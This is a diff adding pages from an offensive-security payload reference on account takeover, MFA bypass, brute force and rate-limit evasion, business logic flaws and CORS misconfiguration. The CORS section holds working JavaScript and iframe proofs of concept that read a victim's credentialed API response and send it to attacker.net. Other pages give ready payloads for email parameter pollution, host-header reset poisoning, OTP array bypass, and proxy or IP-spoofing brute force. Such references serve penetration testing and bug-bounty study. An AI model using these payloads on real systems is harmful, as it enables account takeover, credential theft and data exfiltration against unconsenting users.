1. Intercept the password reset request in Burp Suite
|
||||
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Forward the request with the modified header
|
||||
|
||||
```http
|
||||
POST https://example.com/reset.php HTTP/1.1
|
||||
Accept: */*
|
||||
Content-Type: application/json
|
||||
Host: attacker.com
|
||||
```
|
||||
|
||||
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Password Reset via Email Parameter
|
||||
|
||||
```powershell
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
||||
# array of emails
|
||||
{"email":["victim@mail.com","hacker@mail.com"]}
|
||||
|
||||
# carbon copy
|
||||
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
||||
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
||||
|
||||
# separator
|
||||
email=victim@mail.com,hacker@mail.com
|
||||
email=victim@mail.com%20hacker@mail.com
|
||||
email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
|
||||
### IDOR on API Parameters
|
||||
|
||||
1. Attacker have to login with their account and go to the **Change password** feature.
|
||||
2. Start the Burp Suite and Intercept the request
|
||||
3. Send it to the repeater tab and edit the parameters : User ID/email
|
||||
|
||||
```powershell
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.com","password":"securepwd"})
|
||||
```
|
||||
|
||||
### Weak Password Reset Token
|
||||
|
||||
The password reset token should be randomly generated and unique every time.
|
||||
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
|
||||
|
||||
* Timestamp
|
||||
* UserID
|
||||
* Email of User
|
||||
* Firstname and Lastname
|
||||
* Date of Birth
|
||||
* Cryptography
|
||||
* Number only
|
||||
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
|
||||
* Token reuse
|
||||
* Token expiration date
|
||||
|
||||
### Leaking Password Reset Token
|
||||
|
||||
1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
|
||||
2. Inspect the server response and check for `resetToken`
|
||||
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset via Username Collision
|
||||
|
||||
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
|
||||
2. Request a password reset with your malicious username.
|
||||
3. Use the token sent to your email and reset the victim password.
|
||||
4. Connect to the victim account with the new password.
|
||||
|
||||
The platform CTFd was vulnerable to this attack.
|
||||
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Account Takeover Due To Unicode Normalization Issue
|
||||
|
||||
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.
|
||||
|
||||
* Victim account: `demo@gmail.com`
|
||||
* Attacker account: `demⓞ@gmail.com`
|
||||
|
||||
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
|
||||
|
||||
[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
|
||||
|
||||
## Account Takeover via Web Vulnerabilities
|
||||
|
||||
### Account Takeover via Cross Site Scripting
|
||||
|
||||
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
|
||||
2. Leak the current **sessions cookie**
|
||||
3. Authenticate as the user using the cookie
|
||||
|
||||
### Account Takeover via HTTP Request Smuggling
|
||||
|
||||
Refer to **HTTP Request Smuggling** vulnerability page.
|
||||
|
||||
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/defparam/smuggler.git
|
||||
cd smuggler
|
||||
python3 smuggler.py -h
|
||||
```
|
||||
|
||||
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
|
||||
|
||||
```powershell
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X:
|
||||
```
|
||||
|
||||
3. Final request could look like the following
|
||||
|
||||
```powershell
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
Host: something.com
|
||||
User-Agent: Smuggler/v1.0
|
||||
Content-Length: 83
|
||||
|
||||
0
|
||||
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
|
||||
Hackerone reports exploiting this bug
|
||||
|
||||
* <https://hackerone.com/reports/737140>
|
||||
* <https://hackerone.com/reports/771666>
|
||||
|
||||
### Account Takeover via CSRF
|
||||
|
||||
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
|
||||
2. Send the payload
|
||||
|
||||
### Account Takeover via JWT
|
||||
|
||||
JSON Web Token might be used to authenticate an user.
|
||||
|
||||
* Edit the JWT with another User ID / Email
|
||||
* Check for weak JWT signature
|
||||
|
||||
## References
|
||||
|
||||
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
|
||||
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
|
||||
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
|
||||
99
Account Takeover/mfa-bypass.md
Normal file
99
Account Takeover/mfa-bypass.md
Normal file
|
|
@ -0,0 +1,99 @@
|
|||
# MFA Bypasses
|
||||
|
||||
> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
|
||||
> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Response Manipulation](#response-manipulation)
|
||||
* [Status Code Manipulation](#status-code-manipulation)
|
||||
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
|
||||
* [JS File Analysis](#js-file-analysis)
|
||||
* [2FA Code Reusability](#2fa-code-reusability)
|
||||
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
|
||||
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
|
||||
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
|
||||
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
|
||||
* [Backup Code Abuse](#backup-code-abuse)
|
||||
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
|
||||
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
|
||||
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
|
||||
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
|
||||
* [Bypass 2FA with array](#bypass-2fa-with-array)
|
||||
|
||||
## 2FA Bypasses
|
||||
|
||||
### Response Manipulation
|
||||
|
||||
In response if `"success":false`
|
||||
Change it to `"success":true`
|
||||
|
||||
### Status Code Manipulation
|
||||
|
||||
If Status Code is **4xx**
|
||||
Try to change it to **200 OK** and see if it bypass restrictions
|
||||
|
||||
### 2FA Code Leakage in Response
|
||||
|
||||
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
|
||||
|
||||
### JS File Analysis
|
||||
|
||||
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
|
||||
|
||||
### 2FA Code Reusability
|
||||
|
||||
Same code can be reused
|
||||
|
||||
### Lack of Brute-Force Protection
|
||||
|
||||
Possible to brute-force any length 2FA Code
|
||||
|
||||
### Missing 2FA Code Integrity Validation
|
||||
|
||||
Code for any user acc can be used to bypass the 2FA
|
||||
|
||||
### CSRF on 2FA Disabling
|
||||
|
||||
No CSRF Protection on disabling 2FA, also there is no auth confirmation
|
||||
|
||||
### Password Reset Disable 2FA
|
||||
|
||||
2FA gets disabled on password change/email change
|
||||
|
||||
### Backup Code Abuse
|
||||
|
||||
Bypassing 2FA by abusing the Backup code feature
|
||||
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
|
||||
|
||||
### Clickjacking on 2FA Disabling Page
|
||||
|
||||
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
|
||||
|
||||
### Enabling 2FA doesn't expire Previously active Sessions
|
||||
|
||||
If the session is already hijacked and there is a session timeout vuln
|
||||
|
||||
### Bypass 2FA by Force Browsing
|
||||
|
||||
If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
|
||||
|
||||
### Bypass 2FA with null or 000000
|
||||
|
||||
Enter the code **000000** or **null** to bypass 2FA protection.
|
||||
|
||||
### Bypass 2FA with array
|
||||
|
||||
```json
|
||||
{
|
||||
"otp":[
|
||||
"1234",
|
||||
"1111",
|
||||
"1337", // GOOD OTP
|
||||
"2222",
|
||||
"3333",
|
||||
"4444",
|
||||
"5555"
|
||||
]
|
||||
}
|
||||
```
|
||||
145
Brute Force Rate Limit/README.md
Normal file
145
Brute Force Rate Limit/README.md
Normal file
|
|
@ -0,0 +1,145 @@
|
|||
# Brute Force & Rate Limit
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Bruteforce](#bruteforce)
|
||||
* [Burp Suite Intruder](#burp-suite-intruder)
|
||||
* [FFUF](#ffuf)
|
||||
* [Rate Limit](#rate-limit)
|
||||
* [TLS Stack - JA3](#tls-stack---ja3)
|
||||
* [Network IPv4](#network-ipv4)
|
||||
* [Network IPv6](#network-ipv6)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [ddd/gpb](https://github.com/ddd/gpb) - Bruteforcing the phone number of any Google user while rotating IPv6 addresses.
|
||||
* [ffuf/ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go.
|
||||
* [PortSwigger/Burp Suite](https://portswigger.net/burp) - The class-leading vulnerability scanning, penetration testing, and web app security platform.
|
||||
* [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) - A special build of curl that can impersonate Chrome & Firefox.
|
||||
|
||||
## Bruteforce
|
||||
|
||||
In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.
|
||||
|
||||
For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.
|
||||
|
||||
Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.
|
||||
|
||||
### Burp Suite Intruder
|
||||
|
||||
* **Sniper attack**: target a single position (one variable) while cycling through one payload set.
|
||||
|
||||
```ps1
|
||||
|
||||
Username: password
|
||||
Username1:Password1
|
||||
Username1:Password2
|
||||
Username1:Password3
|
||||
Username1:Password4
|
||||
```
|
||||
|
||||
* **Battering ram attack**: send the same payload to all marked positions at once by using a single payload set.
|
||||
|
||||
```ps1
|
||||
Username1:Username1
|
||||
Username2:Username2
|
||||
Username3:Username3
|
||||
Username4:Username4
|
||||
```
|
||||
|
||||
* **Pitchfork attack**: use different payload lists in parallel, combining the nth entry from each list into one request.
|
||||
|
||||
```ps1
|
||||
Username1:Password1
|
||||
Username2:Password2
|
||||
Username3:Password3
|
||||
Username4:Password4
|
||||
```
|
||||
|
||||
* **Cluster bomb attack**: iterate through all combinations of multiple payload sets.
|
||||
|
||||
```ps1
|
||||
Username1:Password1
|
||||
Username1:Password2
|
||||
Username1:Password3
|
||||
Username1::Password4
|
||||
|
||||
Username2:Password1
|
||||
Username2:Password2
|
||||
Username2:Password3
|
||||
Username2:Password4
|
||||
```
|
||||
|
||||
### FFUF
|
||||
|
||||
```bash
|
||||
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
|
||||
-u https://target.tld/login \
|
||||
-X POST -d "username=USER&password=PASS" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-H "X-Forwarded-For: FUZZ" -w ipv4-list.txt:FUZZ \
|
||||
-mc all
|
||||
```
|
||||
|
||||
## Rate Limit
|
||||
|
||||
### HTTP Pipelining
|
||||
|
||||
HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client "pipes" requests one after another over the same connection.
|
||||
|
||||
### TLS Stack - JA3
|
||||
|
||||
JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS "hello" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked.
|
||||
|
||||
> JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a "," to delimit each field and a "-" to delimit each value in each field.
|
||||
|
||||
* Burp Suite JA3: `53d67b2a806147a7d1d5df74b54dd049`, `62f6a6727fda5a1104d5b147cd82e520`
|
||||
* Tor Client JA3: `e7d705a3286e19ea42f587b344ee6865`
|
||||
|
||||
**Countermeasures:**
|
||||
|
||||
* Use browser-driven automation (Puppeteer / Playwright)
|
||||
* Spoof TLS handshakes with [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate)
|
||||
* JA3 randomization plugins for browsers/libraries
|
||||
|
||||
### Network IPv4
|
||||
|
||||
Use multiple proxies to simulate multiple clients.
|
||||
|
||||
```bash
|
||||
proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ
|
||||
```
|
||||
|
||||
* Use `random_chain` to rotate each request
|
||||
|
||||
```ps1
|
||||
random_chain
|
||||
```
|
||||
|
||||
* Set the number of proxies to chain per connection to 1.
|
||||
|
||||
```ps1
|
||||
chain_len = 1
|
||||
```
|
||||
|
||||
* Finally, specify the proxies in a configuration file:
|
||||
|
||||
```ps1
|
||||
# type host port
|
||||
socks5 127.0.0.1 1080
|
||||
socks5 192.168.1.50 1080
|
||||
http proxy1.example.com 8080
|
||||
http proxy2.example.com 8080
|
||||
```
|
||||
|
||||
### Network IPv6
|
||||
|
||||
Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.
|
||||
|
||||
## References
|
||||
|
||||
* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://brutecat.com/articles/leaking-google-phones)
|
||||
* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types)
|
||||
* [Detecting and annoying Burp users - Julien Voisin - May 3, 2021](https://dustri.org/b/detecting-and-annoying-burp-users.html)
|
||||
95
Business Logic Errors/README.md
Normal file
95
Business Logic Errors/README.md
Normal file
|
|
@ -0,0 +1,95 @@
|
|||
# Business Logic Errors
|
||||
|
||||
> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Methodology](#methodology)
|
||||
* [Review Feature Testing](#review-feature-testing)
|
||||
* [Discount Code Feature Testing](#discount-code-feature-testing)
|
||||
* [Delivery Fee Manipulation](#delivery-fee-manipulation)
|
||||
* [Currency Arbitrage](#currency-arbitrage)
|
||||
* [Premium Feature Exploitation](#premium-feature-exploitation)
|
||||
* [Refund Feature Exploitation](#refund-feature-exploitation)
|
||||
* [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
|
||||
* [Thread Comment Testing](#thread-comment-testing)
|
||||
* [Rounding Error](#rounding-error)
|
||||
* [References](#references)
|
||||
|
||||
## Methodology
|
||||
|
||||
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
|
||||
|
||||
Common examples of Business Logic Errors.
|
||||
|
||||
### Review Feature Testing
|
||||
|
||||
* Assess if you can post a product review as a verified reviewer without having purchased the item.
|
||||
* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
|
||||
* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
|
||||
* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
|
||||
* Investigate the possibility of posting reviews impersonating other users.
|
||||
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
|
||||
|
||||
### Discount Code Feature Testing
|
||||
|
||||
* Try to apply the same discount code multiple times to assess if it's reusable.
|
||||
* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
|
||||
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
|
||||
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
|
||||
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
|
||||
|
||||
### Delivery Fee Manipulation
|
||||
|
||||
* Experiment with negative values for delivery charges to see if it reduces the final amount.
|
||||
* Evaluate if free delivery can be activated by modifying parameters.
|
||||
|
||||
### Currency Arbitrage
|
||||
|
||||
* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
|
||||
|
||||
### Premium Feature Exploitation
|
||||
|
||||
* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
|
||||
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
|
||||
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
|
||||
* Review cookies or local storage for variables validating premium access.
|
||||
|
||||
### Refund Feature Exploitation
|
||||
|
||||
* Purchase a product, ask for a refund, and see if the product remains accessible.
|
||||
* Look for opportunities for currency arbitrage.
|
||||
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
|
||||
|
||||
### Cart/Wishlist Exploitation
|
||||
|
||||
* Test the system by adding products in negative quantities, along with other products, to balance the total.
|
||||
* Try to add more of a product than is available.
|
||||
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
|
||||
|
||||
### Thread Comment Testing
|
||||
|
||||
* Check if there's a limit to the number of comments on a thread.
|
||||
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
|
||||
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
|
||||
* Attempt to post comments impersonating other users.
|
||||
|
||||
### Rounding Error
|
||||
|
||||
The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
|
||||
|
||||
The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
|
||||
|
||||
* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
|
||||
* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
|
||||
|
||||
The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
|
||||
|
||||
In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.
|
||||
|
||||
## References
|
||||
|
||||
* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
|
||||
* [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
|
||||
* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
|
||||
* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)
|
||||
47
CONTRIBUTING.md
Normal file
47
CONTRIBUTING.md
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
# CONTRIBUTING
|
||||
|
||||
PayloadsAllTheThings' Team :heart: pull requests.
|
||||
|
||||
Feel free to improve with your payloads and techniques !
|
||||
|
||||
You can also contribute with a :beers: IRL, or using the [sponsor](https://github.com/sponsors/swisskyrepo) button.
|
||||
|
||||
## Pull Requests Guidelines
|
||||
|
||||
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
|
||||
|
||||
- Payloads must be sanitized
|
||||
- Use `id`, and `whoami`, for RCE Proof of Concepts
|
||||
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
|
||||
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
|
||||
- Use `Administrator` for privileged users and `User` for normal account
|
||||
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
|
||||
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
|
||||
- References must have an `author`, a `title`, a `link` and a `date`
|
||||
- Use [Wayback Machine](https://web.archive.org/) if the reference is not available anymore.
|
||||
- The date must be following the format `Month Number, Year`, e.g: `December 25, 2024`
|
||||
- References to Github repositories must follow this format: `[author/tool](https://github.com/URL) - Description`
|
||||
|
||||
Every pull request will be checked with `markdownlint` to ensure consistent writing and Markdown best practices. You can validate your files locally using the following Docker command:
|
||||
|
||||
```ps1
|
||||
docker run -v $PWD:/workdir davidanson/markdownlint-cli2:v0.15.0 "**/*.md" --config .github/.markdownlint.json --fix
|
||||
```
|
||||
|
||||
## Techniques Folder
|
||||
|
||||
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
|
||||
|
||||
- **README.md**: vulnerability description and how to exploit it, including several payloads, more below
|
||||
- **Intruder**: a set of files to give to Burp Intruder
|
||||
- **Images**: pictures for the README.md
|
||||
- **Files**: some files referenced in the README.md
|
||||
|
||||
## README.md Format
|
||||
|
||||
Use the example folder [_template_vuln/](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/) to create a new vulnerability document. The main page is [README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/README.md). It is organized with sections for a title and description of the vulnerability, along with a summary table of contents linking to the main sections of the document.
|
||||
|
||||
- **Tools**: Lists relevant tools with links to their repositories and brief descriptions.
|
||||
- **Methodology**: Provides a quick overview of the approach used, with code snippets to demonstrate exploitation steps.
|
||||
- **Labs**: References online platforms where similar vulnerabilities can be practiced, each with a link to the corresponding lab.
|
||||
- **References**: Lists external resources, such as blog posts or articles, providing additional context or case studies related to the vulnerability.
|
||||
274
CORS Misconfiguration/README.md
Normal file
274
CORS Misconfiguration/README.md
Normal file
|
|
@ -0,0 +1,274 @@
|
|||
# CORS Misconfiguration
|
||||
|
||||
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Requirements](#requirements)
|
||||
* [Methodology](#methodology)
|
||||
* [Origin Reflection](#origin-reflection)
|
||||
* [Null Origin](#null-origin)
|
||||
* [XSS on Trusted Origin](#xss-on-trusted-origin)
|
||||
* [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
|
||||
* [Expanding the Origin](#expanding-the-origin)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
|
||||
* [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
|
||||
* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
|
||||
* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
|
||||
* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
|
||||
|
||||
## Requirements
|
||||
|
||||
* BURP HEADER> `Origin: https://evil.com`
|
||||
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
|
||||
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
|
||||
|
||||
## Methodology
|
||||
|
||||
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
|
||||
|
||||
### Origin Reflection
|
||||
|
||||
#### Vulnerable Implementation
|
||||
|
||||
```powershell
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: victim.example.com
|
||||
Origin: https://evil.com
|
||||
Cookie: sessionid=...
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: https://evil.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof Of Concept
|
||||
|
||||
This PoC requires that the respective JS script is hosted at `evil.com`
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://victim.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//attacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<h2>CORS PoC</h2>
|
||||
<div id="demo">
|
||||
<button type="button" onclick="cors()">Exploit</button>
|
||||
</div>
|
||||
<script>
|
||||
function cors() {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (this.readyState == 4 && this.status == 200) {
|
||||
document.getElementById("demo").innerHTML = alert(this.responseText);
|
||||
}
|
||||
};
|
||||
xhr.open("GET",
|
||||
"https://victim.example.com/endpoint", true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.send();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Null Origin
|
||||
|
||||
#### Vulnerable Implementation
|
||||
|
||||
It's possible that the server does not reflect the complete `Origin` header but
|
||||
that the `null` origin is allowed. This would look like this in the server's
|
||||
response:
|
||||
|
||||
```ps1
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: victim.example.com
|
||||
Origin: null
|
||||
Cookie: sessionid=...
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: null
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof Of Concept
|
||||
|
||||
This can be exploited by putting the attack code into an iframe using the data
|
||||
URI scheme. If the data URI scheme is used, the browser will use the `null`
|
||||
origin in the request:
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://victim.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
||||
### XSS on Trusted Origin
|
||||
|
||||
If the application does implement a strict whitelist of allowed origins, the
|
||||
exploit codes from above do not work. But if you have an XSS on a trusted
|
||||
origin, you can inject the exploit coded from above in order to exploit CORS
|
||||
again.
|
||||
|
||||
```ps1
|
||||
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
|
||||
```
|
||||
|
||||
### Wildcard Origin without Credentials
|
||||
|
||||
If the server responds with a wildcard origin `*`, **the browser does never send
|
||||
the cookies**. However, if the server does not require authentication, it's still
|
||||
possible to access the data on the server. This can happen on internal servers
|
||||
that are not accessible from the Internet. The attacker's website can then
|
||||
pivot into the internal network and access the server's data without authentication.
|
||||
|
||||
```powershell
|
||||
* is the only wildcard origin
|
||||
https://*.example.com is not valid
|
||||
```
|
||||
|
||||
#### Vulnerable Implementation
|
||||
|
||||
```powershell
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: api.internal.example.com
|
||||
Origin: https://evil.com
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof Of Concept
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://api.internal.example.com/endpoint',true);
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//attacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
### Expanding the Origin
|
||||
|
||||
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
|
||||
|
||||
#### Vulnerable Implementation (Example 1)
|
||||
|
||||
